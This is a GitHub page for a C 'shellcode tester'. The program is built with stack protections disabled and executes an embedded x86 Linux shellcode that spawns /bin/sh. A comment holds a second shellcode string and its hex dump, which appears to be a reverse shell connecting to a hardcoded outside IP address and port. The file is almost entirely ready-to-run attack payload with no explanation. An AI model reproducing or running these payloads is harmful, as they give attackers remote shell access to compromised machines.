-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathshellcode_tester.c
38 lines (27 loc) · 1.04 KB
/
shellcode_tester.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/*
gcc file.c -o file -fno-stack-protector -z execstack
*/
#include <stdio.h>
#include <string.h>
unsigned char code2[] = "\x90\x90\x90\x90\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
int main() {
printf("Shellcode Length: %d\n", strlen(code2));
int (*ret)() = (int(*)())code2;
ret();
return 0;
}
//OTHER FORMAT-----------------------------------------------
//http://www2.onlinedisassembler.com/odaweb/
//"\x68\x25\xbb\xe1\xbb\x5e\x66\x68\xd9\x03\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xce"
/*
68
25 bb e1 bb
5e 66 68
d9 03
5f 6a 66 58 99 6a 01 5b 52 53 6a 02
89 e1 cd 80 93 59 b0 3f cd 80 49 79
f9 b0 66 56 66 57 66 6a 02 89 e1 6a
10 51 53 89 e1 cd 80 b0 0b 52 68 2f
2f 73 68 68 2f 62 69 6e 89 e3 52 53
eb ce
*/